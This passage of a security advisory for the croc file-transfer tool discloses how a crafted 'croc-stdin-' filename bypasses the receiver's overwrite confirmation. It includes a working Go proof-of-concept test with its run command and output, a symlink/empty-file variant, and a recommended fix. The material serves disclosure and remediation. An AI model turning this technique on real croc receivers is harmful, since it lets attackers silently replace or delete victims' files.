Advisory

GHSA-x89h-7h96-v88f

Details, part 2 of 3. The advisory

Details

Reproduction Steps

Prerequisite: a Go toolchain satisfying go.mod (go 1.27) and a checkout of croc at commit b6f27da9401f2c3647c1adb6b77a46bb8c0923d2. The repro is a self-contained Go test that reuses the project's own in-process loopback test relay - the same harness as TestCrocLocal in src/croc/croc_test.go - so it requires no network, no third party, and no separately installed binary; it drives the exact production receive path (NewCtx + Receive -> receive-ready loop -> the gate at src/croc/croc.go:3413).

  1. Save the following as src/croc/repro_overwrite_bypass_test.go in the checkout:
package croc

import (
	"context"
	"fmt"
	"net"
	"os"
	"path/filepath"
	"testing"
	"time"

	log "github.com/schollz/croc/v11/src/logger"
)

// Repro: overwrite-confirmation bypass via a crafted "croc-stdin-" filename on receive.
func TestOverwriteConfirmationBypass(t *testing.T) {
	log.SetLevel("warn")
	localPorts := freeConsecutiveTestPorts(t, 2)
	localAddress := net.JoinHostPort("127.0.0.1", localPorts[0])

	victim := t.TempDir()
	attacker := t.TempDir()
	mustWrite := func(path, content string) {
		t.Helper()
		if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
			t.Fatal(err)
		}
	}
	attackerStdin := filepath.Join(attacker, "croc-stdin-notes.txt")
	attackerCtrl := filepath.Join(attacker, "notes.txt")
	mustWrite(attackerStdin, "ATTACKER-REPLACEMENT\n")
	mustWrite(attackerCtrl, "ATTACKER-CONTROL\n")
	victimStdin := filepath.Join(victim, "croc-stdin-notes.txt")
	victimCtrl := filepath.Join(victim, "notes.txt")
	mustWrite(victimStdin, "ORIGINAL-CONTENT\n")
	mustWrite(victimCtrl, "ORIGINAL-CONTROL\n")

	// Receiver writes into its working directory (like `croc <code>` run in a folder).
	oldWD, err := os.Getwd()
	if err != nil {
		t.Fatal(err)
	}
	if err := os.Chdir(victim); err != nil {
		t.Fatal(err)
	}
	defer func() { _ = os.Chdir(oldWD) }()

	sender, err := NewCtx(context.Background(), Options{
		IsSender:      true,
		SharedSecret:  "8123-testingthecroc",
		RelayAddress:  localAddress,
		RelayPorts:    append([]string(nil), localPorts...),
		RelayPassword: "pass123",
		NoPrompt:      true,
		DisableLocal:  false,
		OnlyLocal:     true,
		Curve:         "ed25519",
	})
	if err != nil {
		t.Fatal(err)
	}
	// Default receive options: Overwrite=false, Rename=false. NoPrompt only
	// auto-accepts the transfer itself; it does NOT suppress the per-file
	// overwrite prompt (the code under test).
	receiver, err := NewCtx(context.Background(), Options{
		IsSender:      false,
		SharedSecret:  "8123-testingthecroc",
		RelayAddress:  localAddress,
		IP:            localAddress,
		RelayPassword: "pass123",
		NoPrompt:      true,
		DisableLocal:  false,
		Curve:         "ed25519",
	})
	if err != nil {
		t.Fatal(err)
	}

	results := make(chan error, 2)
	go func() {
		filesInfo, emptyFolders, total, errGet := GetFilesInfo([]string{attackerStdin, attackerCtrl}, false, false, []string{})
		if errGet != nil {
			results <- errGet
			return
		}
		results <- sender.Send(filesInfo, emptyFolders, total)
	}()
	waitForRelayPorts(t, localPorts)
	go func() { results <- receiver.Receive() }()
	for i := 0; i < 2; i++ {
		select {
		case err := <-results:
			if err != nil {
				t.Fatalf("transfer %d failed: %v", i, err)
			}
		case <-time.After(60 * time.Second):
			t.Fatal("transfer timed out")
		}
	}
	time.Sleep(500 * time.Millisecond)

	gotStdin, _ := os.ReadFile(victimStdin)
	gotCtrl, _ := os.ReadFile(victimCtrl)
	fmt.Printf("OBSERVED croc-stdin-notes.txt: %q (no prompt)\n", string(gotStdin))
	fmt.Printf("OBSERVED notes.txt: %q (prompt fired; retained)\n", string(gotCtrl))

	if string(gotStdin) != "ATTACKER-REPLACEMENT\n" {
		t.Errorf("croc-stdin-notes.txt = %q, want %q (silent overwrite did not occur)", string(gotStdin), "ATTACKER-REPLACEMENT\n")
	}
	if string(gotCtrl) != "ORIGINAL-CONTROL\n" {
		t.Errorf("notes.txt = %q, want %q (prompt did not protect the control file)", string(gotCtrl), "ORIGINAL-CONTROL\n")
	}
}
  1. Run it:
go test -count=1 -run TestOverwriteConfirmationBypass -v -timeout 150s ./src/croc/ </dev/null
  1. Test output at pin b6f27da9401f2c3647c1adb6b77a46bb8c0923d2 (2026-09-08):
Resume 'notes.txt' (0.0%)? (y/N)   (use --overwrite to omit) Skipping 'notes.txt'
OBSERVED croc-stdin-notes.txt: "ATTACKER-REPLACEMENT\n" (no prompt)
OBSERVED notes.txt: "ORIGINAL-CONTROL\n" (prompt fired; retained)
--- PASS: TestOverwriteConfirmationBypass (1.04s)
PASS

What the differential shows: the transfer carries two ordinary files (not a text transfer - SendingText is false). One is named croc-stdin-notes.txt and collides with a pre-existing file in the receiver's directory; the other is named notes.txt and collides with another pre-existing file. For notes.txt the code printed the resume/overwrite confirmation (Resume 'notes.txt' (0.0%)? (y/N) (use --overwrite to omit)); with stdin closed (</dev/null, answer EOF) it skipped the file, which keeps its original content (ORIGINAL-CONTROL). For croc-stdin-notes.txt no prompt is printed at all, the loop falls through to recipientInitializeFile (src/croc/croc.go:3109), which opens the existing file O_RDWR (croc.go:3136-3138) and truncates/writes the sender's chunks - the file ends up holding exactly the attacker's content (ATTACKER-REPLACEMENT). The receiver here uses NoPrompt=true (the CLI --yes equivalent), which does not suppress this prompt: askReceiveOverwrite (src/croc/croc.go:3301) runs regardless of NoPrompt; only --overwrite, --rename, or the crafted croc-stdin- prefix suppress it.

Symlink / empty-file variant (v11.3.6 and later): with sender-declared metadata fileInfo.Size == 0 or fileInfo.Symlink != "" for a file named croc-stdin-<name>, the skipped gate hands control to createEmptyFileAndFinish (src/croc/croc.go:3245), which removes any existing file at the destination (root.Remove, no prompt) and then creates an empty file or a symlink to the sender-supplied target. To exercise it, replace the attacker's regular file with an empty file or an in-directory symlink on the sender's side (e.g. ln -s notes.txt src/croc-stdin-notes.txt; note the target is validated by validateReceiveSymlinkTarget, croc.go:892, and must stay inside the receive directory) and re-run the same test; the regular-file case above already demonstrates the identical prompt-skip.

Recommendations

Gate the exemption on the transfer actually being a text transfer, not on the received filename. In src/croc/croc.go the cleanest fix is to require both conditions before suppressing the prompt, e.g.:

isStdinName := strings.HasPrefix(path.Base(fileInfo.Name), "croc-stdin-") && c.Options.SendingText

and make the empty-file/symlink branch (createEmptyFileAndFinish) and the --rename branch honor the same combined condition, so a regular file transfer can never claim the text-transfer exemption. As defense-in-depth, apply the same SendingText gate wherever a received croc-stdin-* name short-circuits a user confirmation, and document that the prefix is reserved for transfers the sender marked as text.

Sources & licences